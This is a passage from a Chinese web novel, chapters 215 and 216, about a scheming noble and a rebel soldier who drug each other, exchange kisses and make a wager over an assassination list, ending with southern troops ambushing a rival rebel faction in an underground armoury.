这句话会让他枪里的子弹变得迟疑, 也会让他在不该回头的时候想要回头, 结果只能是堕入万丈深渊。 哈琉斯偶尔甚至会生出一些难过的想法,觉得如果厄兰是在骗他就好了,反正这只雄虫嘴里没有一句真话,对方说不定真的只是在骗他。 可厄兰偏偏不是那么做的。 他修改了哈琉斯的通缉令,也将琉恩带回了家中,如果只是谎言,没必要做到这个地步。 哈琉斯缓缓垂眸,用指尖抚摸着厄兰的脸颊,他那双眼睛在阴影中出现了某种猩红的情绪,喉结上下滚动,像是被什么东西堵住,声音沙哑: “厄兰,“ 他低低呼唤,带着近乎虔诚的认真,却又藏着矛盾的恨意, “我是真的、想要杀了你。” 厄兰活着,会挡住他下坠的路,从此那双手便不能再心安理得沾血,也不能再孤注一掷奔向绝路,可当年的仇总该有谁去报,如今只差临门一脚,他不甘放弃。 光影朦胧,厄兰借着月色窥见了雌虫猩红的眼眶,里面仿佛藏着无数根针,稍一触碰就会泛起难以言喻的痛意。 他从来没见过这样的哈琉斯。 厄兰目光暗了暗,他倾身靠近对方,伸手将雌虫拉到自己怀里,然后低头小心翼翼吻上对方触感冰凉的唇瓣,温柔却又不失力道地撬开牙关,唇边弧度若隐若现。 杀他? “你舍不得杀我的……” 语调慢悠悠,蛊惑心神。 地上那几具尸体不就是最好的明证? 哈琉斯闻言倏地攥紧厄兰的手臂,力道大得像要捏碎他的臂骨,对方却反将他抵在墙壁上吻得更深,仿佛丝毫感受不到疼痛。 片刻后,哈琉斯的指尖终于缓缓松开,身形僵硬,再没挣扎。 这算是他们两个第一次真正意义上的吻。 厄兰感觉自己像在亲吻一块冰冷刺骨的寒冰,但那块冰却是由血液冻成的,于是唇齿间满是铁锈味,只有吻得极用力的时候才能尝到一丝腥甜。 渐渐地,那块冰开始融化,冰封在里面的凶兽开始撞击牢笼,仰头极为粗暴地回应着这个吻。 空气中的温度逐步攀升,呼吸变得急促困难。 厄兰修长的指尖扣住哈琉斯的后脑,吮吻得舌根发麻也不肯停下,他隔着军服攥紧对方精瘦的腰身,兴致上头仿佛要把这只雌虫按到自己的身体里才肯罢休,声音暗哑,听起来有些模糊不清: “哈琉斯,留在我身边… 厄兰总是喜欢特别且独一无二的珍宝。 并且他的办法很简单,喜欢了就一定要得到。 “你是我的…… 雄虫低沉的声音在耳畔响起,意味深长,哈琉斯尚未体会到这句话里的意思,后颈便陡然传来一阵尖锐的刺麻感,他瞳孔骤缩,猛地推开厄兰踉跄后退,却见对方手里拿着一枚微型注射器,似笑非笑对他晃了晃。“你!” 哈琉斯捂着后颈,脸色瞬间难看起来,他刚想做些什么,浑身力气却被瞬间抽空,眼前一黑踉跄着朝地面倒去,然后猝不及防跌入了一个熟悉的怀抱。 “真傻……. 厄兰垂眸望着哈琉斯痛苦皱起的眉头,慢悠悠叹息了一声,然后将对方打横抱起,迈步朝着客厅沙发走去,意味不明道, “亲爱的,下次可千万别信我的鬼话了,事实证明雄虫说的话一点都不可信。” 哈琉斯视线涣散,勉强靠意志力维持着清醒,他只感觉自己被厄兰放在了沙发上,原本漆黑的客厅忽然从外间涌进数不清的士兵,枪管在月色下泛着悠悠的冷光。 —是维多秘书长调来保护他的精锐。 厄兰这么爱惜自己的小命,在明知道可能有危险的情况下,又怎么可能拒绝保护呢?今天白天不过是故意逗哈琉斯玩的罢了。 负责带队的军雌名叫洛伦兹,他虽然不明白刚才发生枪战的时候厄兰为什么没有让他们直接冲进来,但看见满地尸体和躺在沙发上陷入半昏迷状态的哈琉斯时,也大概猜到厄兰并不想让太多虫知道这件事。 “冕下,那些尸体…… 厄兰漫不经心挥开桌面上的杂志,然后在茶几边缘优雅落座,他饶有兴趣望着哈琉斯阴鸷可怕的眼眸,头也不回地对洛伦兹吩咐道: “拖下去,该怎么处理就怎么处理,如果维多秘书长问起来,你就说那群叛军负隅顽抗企图突围,被我的护卫当场击毙,听明白了吗?“ 他的语调慵懒而又缓慢,字里行间却透着不容置疑的压迫感,洛伦兹低低应了声“是”,只听一阵拖拽尸体的响动传出,偌大的客厅很快就就重新陷入了安静。 哈琉斯狠咬了一口舌尖维持清醒,他艰难掀起眼皮看向厄兰,语气讥讽: “你怎么不把我一起拖下去处理了……我也是北部叛军……. 厄兰伸手捏住他的下巴,迫使哈琉斯松开牙关,语气低沉蛊惑,每个字都像裹了蜜糖 样:“亲爱的,你可是我的未婚夫,待遇怎么能和他们一样呢?” 他摩挲着哈琉斯唇瓣上的咬痕,唇角微勾, “其实你用阿斯法这个身份也不错,回头我们办起婚礼来也更方便一些,你说是不是?” 哈琉斯冷冷盯着厄兰,半晌后,语气诡异地开口询问:“你还敢娶我,难道就不怕我杀了你?” “没关系,雌虫结婚之后就会收心了。” 厄兰极是温柔地吻了哈琉斯一下,他今天原本已经做好了哈琉斯和那群叛军联手的准备,所以让那群士兵提前埋伏在外面以防万一,没想到哈琉斯直接杀了拉维他们,最后只剩下拖尸体这个用场。 哈琉斯脸色难看,从牙缝里硬生挤出了一句话:“放我走!” “恐怕不太行,”厄兰拍了拍他的脸颊,语气可惜,“亲爱的,你走了我可就要守活寡了。” 他上哪儿再去找像哈琉斯这么有趣的雌虫。 哈琉斯幽幽盯着他,声音令虫毛骨悚然:“你现在如果不放了我,一定会后悔的。” 厄兰轻笑了一声,好整以暇坐直身形:“是吗?可惜我这辈子从来不做后悔的事……. 话音未落,厄兰的后脑忽然抵上了一只冰冷的枪管,他身形一僵,唇边笑意瞬间凝固,缓缓偏头看向旁边的玻璃窗,却从里面看见了一抹不可思议的身影— 洛伦兹正用枪管抵着他,并抬手扯下了脸上用来伪装的仿真面具,笑意恶劣,不是霍恩格是谁?! “那么……现在呢?” 道阴冷的反问声从黑暗中幽幽响起。 只见刚才还浑身无力的哈琉斯忽然从沙发上慢慢坐起了身,他抬手捂着后颈,神情阴鸷地活动了一下脖颈,发出一阵令虫牙酸的骨骼声,语气冰冷讥讽 “冕下,您依旧坚持自己七秒前的观点吗?” … 空气一片死寂。 厄兰慢半拍眨了眨眼,后知后觉意识到自己可能玩脱了,语气忧伤的开口:“亲爱的,我知道,你以后再也不可能相信我了对吗?” “不,”哈琉斯面无表情把玩着手中冰冷的配枪,“我从来就没信过你。” 厄兰一噎,试图挽回:“亲爱的,你听我解释,事情绝不是你想的那个样子,向虫神起誓,我对你的真心天地可鉴…… 215、吻 “哈琉斯,别信这只雄虫的鬼话!” 厄兰话未说完就被霍恩格冷声打断,抵住他后脑的枪口又用力了几分,无不讥讽的道, “他如果真像自己说的那么情真意切,刚才就不会给你注射麻醉剂了。” 厄兰一脸无辜:“你也说了,我注射的只是麻醉剂,又不是毒药,我能有什么坏心思呢?” 霍恩格语气恨恨:“都注射麻醉剂了你还能打什么好主意吗?” 厄兰轻“啧”一声,慢悠悠抬眼看向对面坐着的哈琉斯,他仿佛在笑,低沉的声音莫名听出了几分暧昧勾引:“那就是我们两口子的事了,不方便对外虫说嘛…. 哈琉斯静坐在阴影深处,从头到尾都显得波澜不惊,就像一片不可窥测的寒潭。他的眉眼过于晦暗,以至于分不清喜怒,唯有那只拿枪的手在黑暗中若隐若现,修长的指尖摩挲着扳机,有一下没一下在腿边轻敲。“吱呀——” 真皮沙发传来的轻响忽然划破了寂静。 只见哈琉斯缓缓起身,迈步走到了厄兰跟前,军靴落地的声响几不可闻,却留下了一片粘稠的血液印记,当他那只戴着作战手套的手抚上厄兰的脸颊时,皮革与皮肤摩擦时传来一阵异样的触感: 哈琉斯漫不经心俯身的动作就像猛兽收起獠牙,吐出的气息温柔灼热,却与冰凉的语调形成诡异反差: 厄兰: 等等兄弟,你怎么不按照剧本走? 按照厄兰最初的设想,哈琉斯应该死活不信他的话才对,怎么这么轻易就信了? 厄兰喉结滚动,只好把自己编了一肚子的鬼话艰难咽下去,露出一抹欣喜的笑容:“亲爱的,你真的愿意相信我吗?” 哈琉斯唇边弧度渐深,语气愈发温柔:“当然是真的了,所以你愿意和我一起走吗?” “走?”厄兰莫名有种不祥的预感,磕磕绊绊问道:“走……去哪儿?” 该不会是北部吧?! 哈琉斯并不回答,只是静静望着他,那双冰蓝色的眼眸盯久了就像一团漩涡。 等厄兰察觉到不对劲的时候已经来不及了,他只感觉自己的眼皮子越来越沉,越来越沉,最后视线涣散,眼前发黑,猝不及防栽倒在了一个充斥着血腥味的冰冷怀抱里。 恍惚间他好像听见耳畔响起了一声叹息,带着几分残忍的怜惜: “真傻,当然是我去哪儿,你就去哪儿… 窗外的枝蔓已经开始枯黄,无声预示着冬季的来临。 在哈琉斯的记忆中,南部的冬天并没有那么难熬,来的快,去的也快,温暖得让虫心生欢喜,可惜这样的温度连土壤里最肮脏的虫豸都冻不死,倒不如北境凛冽的暴雪,将所有的污秽与罪恶都埋葬在永恒的寂静里。 但,这只雄虫大概不会喜欢…… 等厄兰再次醒来,入目就是一片涌动的昏暗,空气中充斥着独属于地下室的潮湿腐朽气息,细嗅还能闻到武器库里特有的火药味。 他皱眉捂着僵麻的脖颈坐起身,这才发现自己正躺在一张暗红色的沙发上,头顶灯光并不能很好的照亮四周,却足够让他看清对面那几只眼熟的虫。 坐在一旁保养擦拭狙击枪的是维瑟尔,躺在行军床上翻看杂志的是霍恩格,另外还有几只蒙面的虫持枪在旁边来回巡逻,虽然看不清面容,但面具颇为眼熟,仿佛是当初在雾牙港就跟着哈琉斯的那几个部下。 厄兰谨慎确定了一下周遭的环境,发现只是一个地下武器库,并不是前往北部的船舱,这才稍稍放下心来。 鉴于已经不是第一次被绑架了,而且绑匪还挺熟的,他活动了一下酸麻的脖颈,显得接受良好,甚至有一种回家了的松弛感: “哈琉斯呢,怎么没看见他?” 维瑟尔闻言头也不抬,只是从鼻子里发出一声轻蔑的冷哼,然后继续擦拭自己手里的狙击枪。 霍恩格用力翻了一页杂志,发出“哗啦”的刺耳动静,同样对厄兰的问题充耳不闻 … 厄兰望着这两个周身散发着低气压的军雌,后知后觉意识到自己可能什么时候得罪了他们,他起身走到维瑟尔这只暴躁的北部雌虫跟前,露出一抹惯有的、准备骗虫前的无害笑容:“这不是维瑟尔首领吗?真是好久不见,你看起来好像比以前又英俊了一点点。” 维瑟尔闻言动作一顿,冷冷抬头看向厄兰,然后控制不住攥紧了拳头,他似乎是想一拳揍在厄兰这张可恶的脸上,但又强忍了下来,阴阳怪气道: “哦,我没听错吧,尊贵的厄兰冕下居然也会夸我长得英俊?我还以为您只当我是二百五呢。” 啧,果然是为了上次改通缉令的事。 厄兰抬手把他的枪口下压,眉心微蹙,一脸诚恳的道:“维瑟尔首领,你怎么就不明白我的苦心呢?我把你的悬赏金额改成二百五可都是为了你的安全考虑。” 维瑟尔愤怒摔枪,从来没见过这么恬不知耻的雄虫:“你放屁!” 厄兰示意他稍安勿躁,不慌不忙解释道:“你仔细想想,二白五十块星币,连买个面包都不够,说不定走在大街上有虫把你认出来了都懒得举报你,这还不好吗?” 他说着指了指旁边看杂志的霍恩格:“你再看看霍恩格,他的悬赏金额可是三千万,听说现在星际赏金联盟排行前十的组织都准备赚他这笔钱,连出门买东西都有被杀手弄死的风险,对比起来你多安全呀。”“哗啦——” 霍恩格闻言手里的杂志忽然掉了下来,他缓缓偏头,不可置信看向厄兰, “你说什么?现在赏金联盟排行前十的组织都在追杀我?!” 厄兰思考一瞬,然后无辜点了点头:“你不知道吗?网上闹得还挺沸沸扬扬的。” “你——!” 霍恩格猛地站起身,行军折叠床的金属角在地面划出刺耳的声响,他额头青筋暴起,指着厄兰的手因为愤怒而剧烈颤抖,整只虫已经快气疯了: “我今天非杀了你不可!” 他语罢捡起地上的杂志猛地砸过去,却被厄兰敏捷闪身躲过: “别生气嘛,你应该高兴才是,自己的悬赏金额刷新了南北两部的历史之最,将来星际史上一定会有你的名字,这可是件光宗耀祖的好事!” 他不说还好,一说霍恩格更是气炸了,谁把上了通缉令这种事当成光宗耀祖的?!桌子上的水杯玻璃罐全部遭了殃,整个武器库顿时鸡飞狗跳,连维瑟尔都差点被砸了个脑袋开瓢。 维瑟尔咒骂道:“该死!霍恩格,你和一只雄虫闹腾什么?!不觉得丢脸吗?!” 霍恩格愤怒撸起袖子:“你少管!被追杀的又不是你!” 厄兰躲在沙发后面赞成道:“就是就是,如果你实在不喜欢三千万这个数字,下次我帮你改成二百五好了,反正你和维瑟尔是好兄弟,两个二百五也挺搭的…” 维瑟尔猛地摔枪打断道:“霍恩格!你他妈愣着干什么,还不赶紧弄死这个混蛋?!” 就在场面即将失控的瞬间,只听“轰”的一声闷响,沉重的金属闸门缓缓开启,从升降梯里走出一个身着黑色作战服的身影,军靴落地的声响让空气瞬间凝固。“闹够了吗?!” 哈琉斯冷冽的声音像一盆冰水浇下,整个武器库顿时鸦雀无声,就连霍恩格都默默放下了手里不知何时抄起的扳手,眼神飘忽地别开了脸。 “哈琉斯,你总算回来了!” 厄兰一个箭步蹿到哈琉斯身后,深谙谁先告状谁有理这句话, “他们两个合起伙来欺负我!维瑟尔要拿枪崩我,霍恩格要拿扳手砸我!” 他边说边比划:“这么大个的合金扳手!要是砸我脑袋上你就要守活寡了!” 维瑟尔&霍恩格:…” 这他妈还能更不要脸一点吗?! “你少胡说八道,谁要砸你了?!” 霍恩格上前步指着厄兰的鼻子,突然发现手里的扳手还没收回去,又连忙藏到身后,用眼神表达谴责和愤怒:“哈琉斯,你到底是信我们还是信他?!” “你们。” 哈琉斯漫不经心吐出这句话,肉眼可见的敷衍,他踢开地上挡路的杂志和水杯,然后把手里拎着的餐盒袋子放在桌上: “分成两组,轮流吃饭。” 食物总算短暂平息了霍恩格与维瑟尔刚才的怒火,只是眼神依旧像刀子一样往厄兰身上冷嗖嗖地刮,厄兰对此浑不在意,姿态依旧闲适,反正多看两眼又不会掉块肉。 “你。”哈琉斯原本朝着里面的隔间走去,突然转身看向厄兰,黑色作战服被灯光勾勒出凌厉的轮廓,淡淡开口,“跟我进来。“ 厄兰:“…?” 哦豁,报应来得这么快吗? 里面的隔间大概是用来开会的,桌上堆积着一些乱七八糟的文件,旁边还有一块白板,上面贴着许多南部军方高层的照片,其中有几个被打了红色叉叉,估计现在坟头草已经长得三尺高了。 哈琉斯没有开灯,或许是黑暗可以给他带来一定程度的舒适感,他懒懒背靠着办公桌边缘,低沉的声音在空气中响起,难掩鬼魅: “知不知道我为什么要把你绑过来?” “唔.……. 厄兰故意拖长声调,双手撑在哈琉斯身侧,就像把对方整个圈进了自己的怀里,他天生优越的侧脸在阴影中的轮廓性感难描,连唇边弧度都是那么恰到好处:“猜中有奖吗?” 哈琉斯静静注视着厄兰,并没有推开对方。 他任由这只雄虫入侵自己的领地仿佛也不是一次两次的事了,语调低沉,不知藏着怎样的情绪:“如果我说…我要带你回北部呢?” 厄兰对这个答案并不感到意外,他低头时唇瓣不经意擦过对方的脸颊,吐息灼热:“留在南部不好么?” 他终于意识到权力与财富不能使哈琉斯动摇,而那些也并非对方在乎的,一字一句低声道: “我可以帮你翻案。” 或许是这句话的语气太过郑重,哈琉斯闻言有一瞬间恍惚,他慢半拍回神,苍白冰凉的指尖缓缓抚过厄兰领口处精致的宝石纽扣,语气难掩玩味: “翻案?您指用法律手段吗?” 厄兰没有立刻回答,因为他感觉到自己的外衣纽扣正被哈琉斯一颗一颗地解开,不由得挑了挑眉。他握住雌虫冰凉的指尖递到唇边落下一吻,看似制止了这个动作,却微微用力使对方坐上了办公桌边缘,这样晦暗的环境无形中滋长了情欲,使得他的呼吸吸有些紊乱:“或许你有别的更喜欢的方式?” 他用掌心紧紧扣住雌虫精瘦的腰身,哪怕隔着衣物也不难感受到下方流畅的肌肉线条,炙热的吻先是漫不经心落在对方耳畔,然后沿着脖颈向下游走,在锁骨处轻咬了一口。 哈琉斯的神态虽然没什么变化,呼吸却乱了一瞬,眼尾正被某种危险的暗红一点点浸染。他扣住厄兰的后脑,迫使雄虫抬起头直视自己,额头抵着额头,鼻尖碰着鼻尖,说话时连唇瓣都会不小心挨上,声音暗哑,藏着某种恶劣的情绪: “你猜?“ 厄兰第一次发现哈琉斯在这方面比他还野,对方冰凉的指尖不知何时蛇一样钻进了他的衣服下摆,用力沿着腰身线条摩挲,力道大得甚至有些疼痛。 “我猜……你还是更喜欢一个个狙杀的方式。” “猜对了。” “不觉得可惜吗?他们明明都是一群贪污的臭虫,死的时候成了为国牺牲的英雄,帝国甚至还会颁发勋章以示哀荣。” “是吗,听起来确实很可惜。” 哈琉斯的声音有些气喘,唇瓣已经被厄兰碾成了一种熟红的颜色,就像濒临熟透的果子,黑色的作战服领口被解开大半,胸膛留下了片片暧昧的红痕,苍白的皮肤下方是肋骨,里面的心脏鼓噪不休,跳动得比以往要快上不少。 厄兰闻言终于从他怀里抬起头,唇瓣如出一辙的红润,只是颜色比哈琉斯要鲜艳许多,衬得那张脸风流漂亮,眼角眉梢都蛊惑心神:“要不要打个赌?” 哈琉斯垂眸捏住他的下巴,声音沙哑,听起来懒洋洋的:“例如?” 厄兰偏头靠近哈琉斯耳畔,温热的余息就像一道缠绵的情网,他最擅长用这种良善的语气来哄骗挖坑:“试一试我们谁翻案更快?输的那个答应对方一个要求,没有条件限制的那种。” 哈琉斯淡淡挑眉:“任何要求?” 厄兰勾唇:“当然,任何要求。” 黑暗中,一支冰冷的枪管忽然抵住了厄兰的腰侧,哈琉斯抬手搂住他的脖颈,语气难掩病态的愉悦:“哪怕我要一枪杀了你?” 厄兰不仅没有躲避,反而收紧手臂将哈琉斯楼得更紧,他低头,温吞且缓慢地啃咬着雌虫殷红的唇,每个字都带着模糊的笑意:“当然。” 哈琉斯不语,而是挑眉收起枪口,搂住厄兰的脖颈仰头用力回吻过去,直到氧气变得稀薄,舌根酸麻到已经不像是自己的,这才气喘吁吁分开。 “好,“ 他亲昵搂着厄兰的脖颈,勾唇吐出一句话, “我跟你赌,不过规则我来定。” 哈琉斯身上黑色的作战服凌乱敞开,露出满是吻痕的身躯,明明看起来颓靡而又堕落,衬着他清冷的眉眼却有种诡异的禁欲感,语气难掩兴味 “暗杀名单上有十五个名字,已经死了三个,还剩十二个。” 他漫不经心抬起拿枪的右手,在掌心灵活转了一圈,金属冷光泛着死亡的气息,唇边弧度危险: “我每隔五天杀一个……试试看吧厄兰,你如果能在他们死光之前成功翻案,就算你赢。” 哈琉斯语罢偏头,蜻蜓点水般吻了厄兰一下,这个吻不带任何情.欲,褪去刚才的激情,竟然有一种涟漪缓缓向四周漾开,让虫脊背发麻的温柔,每个字都裹挟着蜜糖,暧昧不清: “那么我将答应你的……任何要求。” 厄兰闻言瞥了哈琉斯一眼,心想吃一堑长一智,这只雌虫果然没之前那么好忽悠了。 “别这么看着我,原计划他们会在一个月内就死干净,瞧,我可是看在你的面子上才答应这个赌约的。” 哈琉斯轻笑一声,语罢从桌角抽出一套黑色作战服扔到厄兰怀里,外加一个银色面具,他抬手,用修长的指尖点了点自己的脸颊,意味深长提醒道: “换上吧,戴好面具,等会儿万一被别的虫认出来你的脸,可是会惹来麻烦的。” 厄兰闻言偏头,敏锐从他这句话里捕捉到了一些隐晦的信息: “别的虫?谁?” 哈琉斯抬手扣好扣子,遮住那些暖昧的痕迹:“等会儿你就知道了。” 很快,厄兰就知道了哈琉斯指的是谁。 他换好衣服走出办公室没多久,就见另外一拨北部叛军陡然出现在了这间地下武器库里,为首的是一名脸上纹着金属图腾的雌虫,对方手腕上戴着许多金色圈环,野性的面容一看就来自北部本土,只是不知为什么,语气难掩冰冷烦躁:“拉维的刺杀任务失败了,今天一早他们的尸体就出现在了新闻报道里!该死,到底是谁做的?!” 他们和霍恩格等虫似乎分属两个派系,军服臂章稍有不同,哪怕聚集在这间武器库里也隐隐分成了泾渭分明的两拨。 厄兰戴着面具和别的叛军站在一起,听见对方言谈间提起自己,目光微不可察闪了闪。 霍恩格坐在沙发上翻看杂志,意有所指道:“黑鸦,一只混吃等死的贵族雄虫而已,杀不杀都无所谓,没成功就算了,犯不着生这么大的气。” 维瑟尔也讽刺道:“就是,听说南部的雄虫都很蠢,说不定用不着你们动手,他喝口水都能把自己呛死。” 好气哟。 “别说了。”“我信你。” 216、都杀了 “不行!杀了那只雄虫是维萨拉阁下的命令,他不死,难消北部的心头之恨!” 黑鸦咬牙切齿吐出这句话,然后猛地转身看向一直静坐在沙发上的哈琉斯,对方从自己进门开始就一直在闭目养神,连眼皮子都懒领得掀一下,平静得实在可疑。 “哈琉斯,你不是协助拉维完成任务的吗?为什么他们都死了,你还好端端地坐在这里?” 这句话实在无礼,霍恩格闻言脸色一变,倏地起身,结果被哈琉斯抬手制止。他双腿交叠,黑色的军靴在灯光照耀下泛着冷光,丝毫不在意黑鸦恶劣的态度,唇边的弧度若隐若现: “我确实是协助他的,不过他好像不太相信我们,原定三天后才执行的任务昨天就自己带着部下悄悄去了,这个解释你还满意吗?” 黑鸦的脸色阴沉难看。 拉维是他的部下,什么性格他也最清楚,这种事绝对做的出来,可对方是北部最出色的杀手之一,就算刺杀失败也不该全军覆没才是。 “就算是拉维擅自行动,但现在任务失败了,我们回去该怎么和维萨拉阁下交差?!” 哈琉斯懒懒调整了一下坐姿:“抱歉,我不得不提醒一下,该怎么和维萨拉阁下交差是你的事,我们只用向大首领交差就够了。” 黑鸦眉头紧皱:“你这是在蔑视维萨拉阁下吗?” “不,”哈琉斯勾唇,“我只是很同情他一大把年纪了还痛失爱子。” “你——!” 这句话显然刺激到了黑鸦的神经,他猛地向前跨出一步想做些什么,却在最后关头靠理智硬生生刹住,指关节捏得咔咔作响,嘴角扯出一个狰狞的瓜度 “好、很好!” 他缓缓松开攥紧的拳头,从牙缝里硬生生挤出一句话:“等我解决那只该死的雄虫,我一定会把你们今天说的话一字不落转告给维萨拉阁下!既然你们的任务已经完成了,那就尽快交出武器库的管控权,以后留在南部的势力由我调配!” 他语罢冷冷转身,直接带着部下离开了这里,也不知是不是出去打听消息了,厚重的防爆门在黑鸦身后轰然关闭,余音在密闭空间里久久回荡。 霍恩格盯着他们离去的方向,突然发出一声颇感荒谬的嗤笑,然后偏头看向维瑟尔: “妈的,他以为自己是三岁虫崽吗?一把年纪了还天天告状?老子这辈子最烦那种有事没事就告状的虫了。” 厄兰合理怀疑这句话在内涵自己,但鉴于现在他们都是一根绳上的蚂蚱,他颇有涵养的没和霍恩格计较什么,而是施施然坐到哈琉斯身旁,压低声音 暗翟 戳拱火:“哈琉斯,你不觉得刚才那只雌虫有点太嚣张了吗?”哈琉斯连眼皮都没抬:“所以呢?” 厄兰图穷匕见:“弄死他!” 哈琉斯:“……. 厄兰强调道:“必须弄死他!我连埋哪儿都想好了!” 由缇宁的遭遇可以得知,厄兰的心眼比针鼻子大不了多少,现在既然知道黑鸦准备刺杀自己,又怎么可能放过对方? “啧,”坐在一旁的维瑟尔忍不住嘴角抽搐,“你们南部雄虫都这么心狠手辣的吗?” 霍恩格立刻瞪了维瑟尔一眼:“废话!不心狠手辣难道还要和他相亲相爱吗?!哈琉斯,我赞成弄死那家伙!” 哈琉斯既没答应,也没否认,而是放下交叠的双腿,从沙发上站起身道:“我有事要出去,霍恩格,你看着他别乱跑。” 这个“他”指的是谁,自然不言而喻。 偏偏当事虫一点自觉都没有,顺势跟着站起了身:“你去哪儿?” 哈琉斯闻言脚步一顿,回头看向厄兰,那双暗紫色的眼眸藏着某种晦暗的情绪,似笑非笑道:“你不是让我弄死他吗?难道坐在这里就能弄死他了?” 厄兰装出一副忧心忡忡的表情:“可是你自己去也太危险了,不如带我一起吧?我可以让雌父调兵围剿,直接把他们一网打尽!” 说到最后一句,他浅紫色的眼眸闪烁着兴奋的光芒,一看就知道没打什么好主意。 “听起来确实不错。” 哈琉斯薄唇微勾,抬手“贴心”帮厄兰整理了一下脸上的面具,话锋却陡然一转,压低声音意味深长道: “但是冕下……我可真担心你一网打尽的时候会把我们也算进去,所以你还是坐在这里等消息吧。” 话音刚落,他掌心骤然发力,直接把厄兰推到了沙发上,同时对霍恩格扔了个眼神,示意不要让这只狡猾的雄虫耍什么花招。 厄兰不死心地喊道:“你就这么把我丢给霍恩格,万一他记仇把我宰了怎么办?!” 哈琉斯淡淡出声:“他不会的。” 霍恩格冷笑:“不,我会的!” 哈琉斯脚步一顿,眉头紧蹙:“.…….瑟尔,看好他们两个。” 他头也不回地扔下这句话,背影直接消失在了闸门后方,伴随着“轰”的一声闷响,闸门彻底闭合,只留下厄兰和霍恩格大眼瞪小眼。 “好吧。” 维瑟尔怎么也没想到这个讨厌的差事会落在自己身上,他摊了摊手,把自己怀里的狙击枪放到旁边, “你们两个最好给我老实安分一点,否则我不介意用电子镣铐把你们两个都锁起来。” 霍恩格气死了:“操!你他妈的到底帮谁?!” 维瑟尔耸肩:“谁听话我就帮谁。” 厄兰不仅告状速度第一,墙头草的本事也是数一数二,立刻摆出一副诚恳的神态:“好的维瑟尔首领,请放心,我一定会听从您的英明领导。” 霍恩格: 接下来的两天,厄兰一直待在这个武器库里和霍恩格斗智斗勇,期间也 断断续续从对方嘴里打听到了一些消息,原来北部现在的时局也不算太稳定,大首领和政务卿明争暗斗,双方堪称势如水火。 黑鸦就是那位政务卿阁下派来的另一支北部势力,他们一直想要从哈琉斯手中夺权,从南部卧底名单到地下武器库的接管权,背后都有政务卿的授意。 更重要的一点是, “只要你一天不死,这个刺杀令就不会勾销,所以你最好祈祷黑鸦那群家伙死得一个不剩,否则你连吃饭都有被毒死的风险。” 看的出来,霍恩格很是幸灾乐祸,毕竟现在不止他一只虫被追杀,心情相当美妙。 厄兰没有说话,只是默默在心里的必死名单上又记了一笔,那个政务卿太远了暂时杀不到,丢到一边以后再说,不过解决这个黑鸦倒是迫在眉睫。 ——比杀掉缇宁还要迫在眉睫!! 墙角的全息终端正在播放今天的星网新闻,或许是厄兰失踪的那天晚 上哈琉斯故意遮掩了他的行踪,导致他消失两天后才被发 现,现在几乎大半个军方系统都在全城搜捕他的下落,堪称声势浩荡。 并且索亚上将还对外张贴了公告,谁能提供厄兰的下落就重金酬谢。 维瑟尔轻佻吹了一声口哨:“哇哦,冕下,如果我现在把你救出去,你说他们会不会直接给我一个少将当当?” 厄兰眨了眨眼,疯狂暗示:“别说少将了,中将也不是没可能,要不这样吧,你现在就悄悄把我放出去,我保你官运亨通。” 霍恩格听见他们两个的对话,嗤笑了一声:“你以为谁都稀罕那些破东西吗?大难临头,你还是先想想怎么保住自己的命吧。” 厄兰敏锐听出了几分弦外之音:“什么意思?” 霍恩格故意不语,但很快厄兰就明白了他的意思。 “轰——“ 只听一声沉闷的动静忽然响起,在寂静的地下室显得异常刺耳。 那道紧闭的闸门在时隔两天后终于再次打开,只不过这次从里面走出的并不是哈琉斯,而是过来接管武器库的黑鸦等虫,他们穿着纯黑色的叛军制服,精壮高大的身形堵住门口,看起来极具压迫感。厄兰早在他们进门的时候就不动声色站到了沙发后面,暗自猜测这群不速之客的来意。 “哈琉斯那个家伙呢?” 黑鸦环顾四周一圈,很快发现哈琉斯并不在场,眉间皱出了一道深深的沟壑。 霍恩格并没有正面回答他的问题:“所以你今天过来到底是为了找哈琉斯的,还是为了接管武器库的?” 黑鸦锐利的目光紧盯着霍恩格,暗红色的疃仁像极了某种食腐的乌鸦,凶残而又暴戾,因为厄兰无故失踪,他们接连打听了两天都没找到下落,所以心情格外差劲 “哈琉斯是死是活和我没关系,你们如果识相的话就自己滚出这里,毕竟自相残杀传出去可不好听。” 他带来的队伍数量占优,并且个个都是好勇斗狠的家伙,真打起来霍恩格他们未必能讨得到什么便宜,但要让后者主动让出武器库,听起来似乎又有些不太可能?就在厄兰思忖着等会儿这两拨势力万一打起来自己要不要趁乱逃走的时候,只见霍恩格忽然从沙发上站起身,居然出乎意料地答应了: “行,反正我们的任务已经结束,马上就要返回北部,地盘交给你也没什么不行。” 厄兰眼皮子一跳:“???” 是不是有哪里不对劲? 霍恩格语罢干脆利落抬手:“我们撤!” 他身后的部下闻言齐齐收枪撤退,就连维瑟尔都跟着一起走进了升降梯,厄兰裹挟在队伍里,被迫一起撤退,生平第一次感觉自己那的大脑有些宕机。 不是吧,他们就这么撤了? 厄兰感觉自己嗅到了阴谋的味道,他眼见闸门闭合,偏头看向霍恩格,压低声音狐疑问道:“你们真打算撤退了?” 霍恩格反问:“你想知道?” 厄兰微微一笑:“不,我只是想知道你们撤退之后打算怎么安排我。” 霍尔格故意拔出腰间的配枪,对他露出一个阴森森的表情:“当然是把你杀了抛尸野外啊。” 厄兰:“ 切。 厄兰并不知道他们打算去哪里,只感觉升降梯往上升了很久,最后轰隆一声停下,还以为总算可以呼吸新鲜空气,但没想到闸门打开又是另外一个漆 黑的通道,曲曲折折就像迷宫一样。 “别出声,等会儿可是有免费的好戏看。“ 霍恩格摆手示意部下守在外面,然后带着厄兰和维瑟尔走进了一间全是监控屏幕的房间,只见里面的画面赫然是武器库,黑鸦那群家伙大咧咧坐在沙发上,言谈间笑意张狂,虽然听不清说了些什么,但大概在嘲笑霍恩格他们是个软蛋。厄兰默默看了霍恩格一眼:“你指的好戏就是听他们骂你软蛋吗?” 霍恩格就知道他狗嘴里吐不出象牙:“闭嘴,你继续看下去就知道了!” 厄兰闻言正准备说些什么,只见走廊拐角的监控画面忽然出现了一群秘密潜入的身影,看装备居然是南 部的队伍,他们持枪小心翼翼靠近武器库,带队的那名军雌黑发蓝眸,面容怎么看怎么熟悉,不是阿斯法是谁?! 厄兰眼皮子狠狠一跳:“你们该不会是想……. 他话音未落,屏幕里就陡然爆发了一场激烈的枪战,在阿斯法带领的队 伍破坏了所有机关并成功攻入闸门后,数不清的南部军雌潮水般涌进了武器库,数量几乎是黑鸦那群虫的五倍不止! 一时间画面里只能看见“突突突”的枪火,连监控都在战斗中被损毁了好几个,屏幕接二连三暗了下去。 